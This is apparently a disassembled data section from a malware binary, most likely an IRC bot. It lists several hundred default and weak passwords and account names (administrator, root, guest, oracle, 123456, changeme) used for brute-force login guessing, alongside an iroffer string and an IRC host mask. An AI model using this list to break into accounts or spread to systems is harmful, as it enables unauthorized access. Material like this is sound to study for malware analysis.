		align 4
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042F550o
aClassic	db 'classic',0          ; DATA XREF: ___:0042F54Co
aClasses	db 'classes',0          ; DATA XREF: ___:0042F548o
aClass		db 'class',0            ; DATA XREF: ___:0042F544o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: ___:0042F540o
		align 10h
aCigarett	db 'cigarett',0         ; DATA XREF: ___:0042F53Co
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:0042F538o
		align 4
aChristy	db 'christy',0          ; DATA XREF: ___:0042F534o
aChristin	db 'christin',0         ; DATA XREF: ___:0042F530o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:0042F52Co
		align 10h
aChip		db 'chip',0             ; DATA XREF: ___:0042F528o
		align 4
aChester	db 'chester',0          ; DATA XREF: ___:0042F524o
aChess		db 'chess',0            ; DATA XREF: ___:0042F520o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: ___:0042F51Co
		align 4
aChem		db 'chem',0             ; DATA XREF: ___:0042F518o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:0042F514o
		align 4
aCharon		db 'charon',0           ; DATA XREF: ___:0042F510o
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:0042F50Co
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: ___:0042F508o
aCharles	db 'charles',0          ; DATA XREF: ___:0042F504o
aCharity	db 'charity',0          ; DATA XREF: ___:0042F500o
aChange		db 'change',0           ; DATA XREF: ___:0042F4FCo
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: ___:0042F4F8o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: ___:0042F4F4o
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042F4F0o
		align 4
aCelt		db 'celt',0             ; DATA XREF: ___:0042F4ECo
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:0042F4E8o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: ___:0042F4E4o
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042F4E0o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: ___:0042F4DCo
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:0042F4D8o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: ___:0042F4D4o
		align 4
aCastle		db 'castle',0           ; DATA XREF: ___:0042F4D0o
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:0042F4CCo
		align 4
aCascades	db 'cascades',0         ; DATA XREF: ___:0042F4C8o
		align 10h
aCarson		db 'carson',0           ; DATA XREF: ___:0042F4C4o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: ___:0042F4C0o
		align 10h
aCaroline	db 'caroline',0         ; DATA XREF: ___:0042F4BCo
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:0042F4B8o
		align 4
aCarole		db 'carole',0           ; DATA XREF: ___:0042F4B4o
		align 10h
aCarol		db 'carol',0            ; DATA XREF: ___:0042F4B0o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: ___:0042F4ACo
		align 10h
aCarla		db 'carla',0            ; DATA XREF: ___:0042F4A8o
		align 4
aCaren		db 'caren',0            ; DATA XREF: ___:0042F4A4o
		align 10h
aCardinal	db 'cardinal',0         ; DATA XREF: ___:0042F4A0o
		align 4
aCard		db 'card',0             ; DATA XREF: ___:0042F49Co
		align 4
aCapture	db 'capture',0          ; DATA XREF: ___:0042F498o
aCaptain	db 'captain',0          ; DATA XREF: ___:0042F494o
aCantor		db 'cantor',0           ; DATA XREF: ___:0042F490o
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:0042F48Co
		align 4
aCandi		db 'candi',0            ; DATA XREF: ___:0042F488o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:0042F484o
aCampanil	db 'campanil',0         ; DATA XREF: ___:0042F480o
		align 10h
aCamille	db 'camille',0          ; DATA XREF: ___:0042F47Co
aCaliforn	db 'californ',0         ; DATA XREF: ___:0042F478o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: ___:0042F474o
		align 10h
aButt		db 'butt',0             ; DATA XREF: ___:0042F470o
		align 4
aButch		db 'butch',0            ; DATA XREF: ___:0042F46Co
		align 10h
aBurn		db 'burn',0             ; DATA XREF: ___:0042F468o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: ___:0042F464o
aBung		db 'bung',0             ; DATA XREF: ___:0042F460o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: ___:0042F45Co
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: ___:0042F458o
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: ___:0042F454o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042F450o
		align 4
aBrute		db 'brute',0            ; DATA XREF: ___:0042F44Co
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:0042F448o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: ___:0042F444o
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042F440o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:0042F43Co
aBrian		db 'brian',0            ; DATA XREF: ___:0042F438o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:0042F434o
		align 4
aBreast		db 'breast',0           ; DATA XREF: ___:0042F430o
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:0042F42Co
		align 4
aBravo		db 'bravo',0            ; DATA XREF: ___:0042F428o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:0042F424o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042F420o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:0042F41Co
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:0042F418o
		align 10h
aBorn		db 'born',0             ; DATA XREF: ___:0042F414o
		align 4
aBook		db 'book',0             ; DATA XREF: ___:0042F410o
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: ___:0042F40Co
		align 4
aBoob		db 'boob',0             ; DATA XREF: ___:0042F408o
		align 10h
aBoner		db 'boner',0            ; DATA XREF: ___:0042F404o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: ___:0042F400o
		align 10h
aBoard		db 'board',0            ; DATA XREF: ___:0042F3FCo
		align 4
aBlues		db 'blues',0            ; DATA XREF: ___:0042F3F8o
		align 10h
aBlue		db 'blue',0             ; DATA XREF: ___:0042F3F4o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042F3F0o
aBlow		db 'blow',0             ; DATA XREF: ___:0042F3ECo
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:0042F3E8o
		align 4
aBlood		db 'blood',0            ; DATA XREF: ___:0042F3E4o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042F3E0o
aBlonde		db 'blonde',0           ; DATA XREF: ___:0042F3DCo
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:0042F3D8o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: ___:0042F3D4o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:0042F3D0o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042F3CCo
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:0042F3C8o
		align 4
aBird		db 'bird',0             ; DATA XREF: ___:0042F3C4o
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:0042F3C0o
		align 4
aBinary		db 'binary',0           ; DATA XREF: ___:0042F3BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:0042F3B8o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:0042F3B4o
aBicamera	db 'bicamera',0         ; DATA XREF: ___:0042F3B0o
		align 4
aBible		db 'bible',0            ; DATA XREF: ___:0042F3ACo
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: ___:0042F3A8o
aBetty		db 'betty',0            ; DATA XREF: ___:0042F3A4o
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: ___:0042F3A0o
		align 4
aBeth		db 'beth',0             ; DATA XREF: ___:0042F39Co
		align 10h
aBeta		db 'beta',0             ; DATA XREF: ___:0042F398o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: ___:0042F394o
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: ___:0042F390o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:0042F38Co
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:0042F388o
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:0042F384o
aBenz		db 'benz',0             ; DATA XREF: ___:0042F380o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: ___:0042F37Co
aBell		db 'bell',0             ; DATA XREF: ___:0042F378o
		align 10h
aBehead		db 'behead',0           ; DATA XREF: ___:0042F374o
		align 4
aBegin		db 'begin',0            ; DATA XREF: ___:0042F370o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: ___:0042F36Co
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:0042F368o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: ___:0042F364o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042F360o
		align 4
aBeater		db 'beater',0           ; DATA XREF: ___:0042F35Co
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:0042F358o
		align 4
aBear		db 'bear',0             ; DATA XREF: ___:0042F354o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042F350o
		align 4
aBeach		db 'beach',0            ; DATA XREF: ___:0042F34Co
		align 10h
aBatman		db 'batman',0           ; DATA XREF: ___:0042F348o
		align 4
aBatch		db 'batch',0            ; DATA XREF: ___:0042F344o
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042F340o
aBass		db 'bass',0             ; DATA XREF: ___:0042F33Co
		align 10h
aBasic		db 'basic',0            ; DATA XREF: ___:0042F338o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: ___:0042F334o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: ___:0042F330o
aBart		db 'bart',0             ; DATA XREF: ___:0042F32Co
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: ___:0042F328o
		align 10h
aBarf		db 'barf',0             ; DATA XREF: ___:0042F324o
		align 4
aBare		db 'bare',0             ; DATA XREF: ___:0042F320o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: ___:0042F31Co
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: ___:0042F318o
aBanks		db 'banks',0            ; DATA XREF: ___:0042F314o
		align 4
aBank		db 'bank',0             ; DATA XREF: ___:0042F310o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: ___:0042F30Co
		align 4
aBananas	db 'bananas',0          ; DATA XREF: ___:0042F308o
aBanana		db 'banana',0           ; DATA XREF: ___:0042F304o
		align 4
aBall		db 'ball',0             ; DATA XREF: ___:0042F300o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: ___:0042F2FCo
		align 4
aBadass		db 'badass',0           ; DATA XREF: ___:0042F2F8o
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:0042F2F4o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042F2F0o
aBaby		db 'baby',0             ; DATA XREF: ___:0042F2ECo
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:0042F2E8o
		align 4
aAzure		db 'azure',0            ; DATA XREF: ___:0042F2E4o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042F2E0o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:0042F2DCo
		align 10h
aAttack		db 'attack',0           ; DATA XREF: ___:0042F2D8o
		align 4
aAtom		db 'atom',0             ; DATA XREF: ___:0042F2D4o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:0042F2D0o
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:0042F2CCo
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: ___:0042F2C8o
aAsian		db 'asian',0            ; DATA XREF: ___:0042F2C4o
		align 4
aArtist		db 'artist',0           ; DATA XREF: ___:0042F2C0o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:0042F2BCo
		align 4
aArrow		db 'arrow',0            ; DATA XREF: ___:0042F2B8o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:0042F2B4o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: ___:0042F2B0o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:0042F2ACo
aAria		db 'aria',0             ; DATA XREF: ___:0042F2A8o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:0042F2A4o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: ___:0042F2A0o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: ___:0042F29Co
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:0042F298o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:0042F294o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:0042F290o
aAnswer		db 'answer',0           ; DATA XREF: ___:0042F28Co
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:0042F288o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:0042F284o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: ___:0042F280o
aAnne		db 'anne',0             ; DATA XREF: ___:0042F27Co
		align 4
aAnna		db 'anna',0             ; DATA XREF: ___:0042F278o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:0042F274o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: ___:0042F270o
aAnimal		db 'animal',0           ; DATA XREF: ___:0042F26Co
		align 4
aAngie		db 'angie',0            ; DATA XREF: ___:0042F268o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:0042F264o
		align 4
aAngela		db 'angela',0           ; DATA XREF: ___:0042F260o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: ___:0042F25Co
		align 4
aAndy		db 'andy',0             ; DATA XREF: ___:0042F258o
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: ___:0042F254o
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042F250o
aAndrea		db 'andrea',0           ; DATA XREF: ___:0042F24Co
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:0042F248o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:0042F244o
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042F240o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: ___:0042F23Co
		align 10h
aAnal		db 'anal',0             ; DATA XREF: ___:0042F238o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:0042F234o
		align 4
aAmerica	db 'america',0          ; DATA XREF: ___:0042F230o
aAmber		db 'amber',0            ; DATA XREF: ___:0042F22Co
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: ___:0042F228o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:0042F224o
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042F220o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: ___:0042F21Co
		align 4
aAllison	db 'allison',0          ; DATA XREF: ___:0042F218o
aAlison		db 'alison',0           ; DATA XREF: ___:0042F214o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042F210o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: ___:0042F20Co
		align 4
aAlice		db 'alice',0            ; DATA XREF: ___:0042F208o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: ___:0042F204o
aAlias		db 'alias',0            ; DATA XREF: ___:0042F200o
		align 10h
aAlgebra	db 'algebra',0          ; DATA XREF: ___:0042F1FCo
aAlexande	db 'alexande',0         ; DATA XREF: ___:0042F1F8o
		align 4
aAlex		db 'alex',0             ; DATA XREF: ___:0042F1F4o
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042F1F0o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: ___:0042F1ECo
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:0042F1E8o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: ___:0042F1E4o
		align 10h
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042F1E0o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: ___:0042F1DCo
		align 4
aAids		db 'aids',0             ; DATA XREF: ___:0042F1D8o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:0042F1D4o
		align 4
aAdult		db 'adult',0            ; DATA XREF: ___:0042F1D0o
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:0042F1CCo
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:0042F1C8o
		align 4
aAdam		db 'adam',0             ; DATA XREF: ___:0042F1C4o
		align 4
aAction		db 'action',0           ; DATA XREF: ___:0042F1C0o
		align 4
aAccount	db 'account',0          ; DATA XREF: ___:0042F1BCo
aAcademic	db 'academic',0         ; DATA XREF: ___:0042F1B4o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: ___:0042F1B0o
		align 4
a000000		db '000000',0           ; DATA XREF: ___:0042F1ACo
		align 4
a00000		db '00000',0            ; DATA XREF: ___:0042F1A8o
		align 4
a0000		db '0000',0             ; DATA XREF: ___:0042F1A4o
		align 4
a000		db '000',0              ; DATA XREF: ___:0042F1A0o
aTesting	db 'testing',0          ; DATA XREF: ___:0042F19Co
aDeath		db 'death',0            ; DATA XREF: ___:0042F198o
		align 10h
a00		db '00',0               ; DATA XREF: ___:0042F194o
		align 4
a0:					; DATA XREF: ___:0042F190o
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:0042F18Co
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:0042F188o
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:0042F184o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:0042F180o
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:0042F17Co
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: ___:0042F178o
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: ___:0042F174o
aXx		db 'xx',0               ; DATA XREF: ___:0042F170o
		align 4
asc_4343A8:				; DATA XREF: ___:0042F16Co
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:0042F168o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:0042F164o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042F160o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: ___:0042F15Co
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: ___:0042F158o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:0042F154o
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042F150o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: ___:0042F14Co
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:0042F148o
		align 4
aL337		db 'l337',0             ; DATA XREF: ___:0042F144o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042F140o
		align 4
aLeet		db 'leet',0             ; DATA XREF: ___:0042F13Co
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:0042F138o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:0042F134o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042F130o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: ___:0042F12Co
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:0042F128o
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: ___:0042F124o
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042F120o
aSatan		db 'satan',0            ; DATA XREF: ___:0042F11Co
		align 4
aGobo		db 'gobo',0             ; DATA XREF: ___:0042F118o
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: ___:0042F114o
aMatt		db 'Matt',0             ; DATA XREF: ___:0042F110o
		align 10h
aMat		db 'Mat',0              ; DATA XREF: ___:0042F10Co
aPw		db 'pw',0               ; DATA XREF: ___:0042F108o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: ___:0042F104o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042F100o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: ___:0042F0FCo
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:0042F0F8o
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: ___:0042F0F4o
aMypc		db 'mypc',0             ; DATA XREF: ___:0042F0F0o
		align 10h
aLove		db 'love',0             ; DATA XREF: ___:0042F0ECo
		align 4
aPwd		db 'pwd',0              ; DATA XREF: ___:0042F0E8o
aLogin_1	db 'login',0            ; DATA XREF: ___:0042F0E4o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042F0E0o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: ___:0042F0DCo
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:0042F0D8o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: ___:0042F0D4o
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:0042F0D0o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: ___:0042F0CCo
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:0042F0C8o
		align 4
aWin		db 'win',0              ; DATA XREF: ___:0042F0C4o
aTest123	db 'test123',0          ; DATA XREF: ___:0042F0C0o
aAbc		db 'abc',0              ; DATA XREF: ___:0042F0BCo
aAaa		db 'aaa',0              ; DATA XREF: ___:0042F0B8o
aA_0:					; DATA XREF: ___:0042F0B4o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: ___:0042F0B0o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: ___:0042F0ACo
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:0042F0A8o
aIrule		db 'irule',0            ; DATA XREF: ___:0042F0A4o
		align 10h
aOwned		db 'owned',0            ; DATA XREF: ___:0042F0A0o
		align 4
a0wned		db '0wned',0            ; DATA XREF: ___:0042F09Co
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:0042F098o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:0042F094o
		align 4
aDevil		db 'devil',0            ; DATA XREF: ___:0042F090o
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: ___:0042F08Co
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: ___:0042F088o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042F084o
aSex		db 'sex',0              ; DATA XREF: ___:0042F080o
aPat		db 'pat',0              ; DATA XREF: ___:0042F07Co
aPatrick	db 'patrick',0          ; DATA XREF: ___:0042F078o
aAlpha		db 'alpha',0            ; DATA XREF: ___:0042F074o
		align 4
a007		db '007',0              ; DATA XREF: ___:0042F070o
a123abc		db '123abc',0           ; DATA XREF: ___:0042F06Co
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: ___:0042F068o
		align 4
a123123		db '123123',0           ; DATA XREF: ___:0042F064o
		align 4
a121212		db '121212',0           ; DATA XREF: ___:0042F060o
		align 4
a111111		db '111111',0           ; DATA XREF: ___:0042F05Co
		align 4
a110		db '110',0              ; DATA XREF: ___:0042F058o
a2600		db '2600',0             ; DATA XREF: ___:0042F054o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042F04Co
		align 10h
aXp_0		db 'xp',0               ; DATA XREF: ___:0042F048o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:0042F044o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042F040o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:0042F03Co
a123asd		db '123asd',0           ; DATA XREF: ___:0042F038o
		align 4
aSuper		db 'super',0            ; DATA XREF: ___:0042F034o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042F030o
		align 10h
a123qwe		db '123qwe',0           ; DATA XREF: ___:0042F028o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: ___:0042F024o
		align 10h
aAbc123		db 'abc123',0           ; DATA XREF: ___:0042F01Co
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: ___:0042F018o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042F010o
		align 4
aPass_1		db 'pass',0             ; DATA XREF: ___:0042F00Co
		align 10h
a88888888	db '88888888',0         ; DATA XREF: ___:0042F008o
		align 4
a11111111	db '11111111',0         ; DATA XREF: ___:0042F004o
		align 4
a111		db '111',0              ; DATA XREF: ___:0042F000o
a54321		db '54321',0            ; DATA XREF: ___:0042EFFCo
		align 4
a654321		db '654321',0           ; DATA XREF: ___:0042EFF8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:0042EFF4o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:0042EFF0o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:0042EFECo
a123456		db '123456',0           ; DATA XREF: ___:0042EFE8o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:0042EFE4o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:0042EFE0o
		align 4
a123		db '123',0              ; DATA XREF: ___:0042EFDCo
a12		db '12',0               ; DATA XREF: ___:0042EFD8o
		align 4
a1:					; DATA XREF: ___:004160ACo
					; ___:0042EFD4o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:0042EFD0o
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:0042EFCCo
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042EFC8o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:0042EFC4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:0042EFC0o
		align 10h
aLocal		db 'LOCAL',0            ; DATA XREF: ___:0042EFBCo
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: ___:0042EFB8o
		align 10h
aServer_0	db 'SERVER',0           ; DATA XREF: ___:0042EFB4o
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:0042EFB0o
		align 10h
aBackup		db 'BACKUP',0           ; DATA XREF: ___:0042EFACo
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: ___:0042EFA4o
		align 10h
aTest		db 'TEST',0             ; DATA XREF: ___:0042EFA0o
		align 4
aEdu		db 'edu',0              ; DATA XREF: ___:0042EF9Co
aOwner_1	db 'Owner',0            ; DATA XREF: ___:0042EF98o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: ___:0042EF94o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: ___:0042EF90o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: ___:0042EF8Co
		align 4
aRead		db 'READ',0             ; DATA XREF: ___:0042EF88o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:0042EF84o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: ___:0042EF80o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:0042EF7Co
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: ___:0042EF78o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: ___:0042EF74o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: ___:0042EF70o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:0042EF6Co
		align 10h
aAdmin_0	db 'ADMIN',0            ; DATA XREF: ___:0042EF68o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: ___:0042EF60o
		align 10h
aGuest_1	db 'GUEST',0            ; DATA XREF: ___:0042EF5Co
		align 4
aBla		db 'bla',0              ; DATA XREF: ___:0042EF58o
aFubar		db 'fubar',0            ; DATA XREF: ___:0042EF54o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042EF48o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042EF38o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042EF34o
					; ___:0042F020o
		align 10h
aDba		db 'dba',0              ; DATA XREF: ___:0042EF30o
aDatabase	db 'database',0         ; DATA XREF: ___:0042EF2Co
					; ___:0042F014o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:0042EF28o
					; ___:0042F6B4o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042EF24o
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:0042EF20o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:0042EF1Co
					; ___:00430648o
aStudent	db 'student',0          ; DATA XREF: ___:0042EF18o
					; ___:00430590o
aOwner		db 'owner',0            ; DATA XREF: ___:0042EF14o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042EF10o
					; ___:0042F02Co
		align 10h
aStaff		db 'staff',0            ; DATA XREF: ___:0042EF08o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:0042EF00o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:0042EEFCo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:0042EEF8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042EEF4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042EEF0o
					; ___:0042EF50o
		align 4
aIrofferV1_3b10	db 'iroffer v1.3b10 [Ud2 23874155], http://iroffer.org/',0
					; DATA XREF: ___:off_42EE40o
a@arrapao	db '*@arrapao',0        ; DATA XREF: ___:off_42EE3Co
		align 4
unk_4348AC	db    2			; DATA XREF: ___:0040F1AAo
		db 6Eh,	2, 7Ah
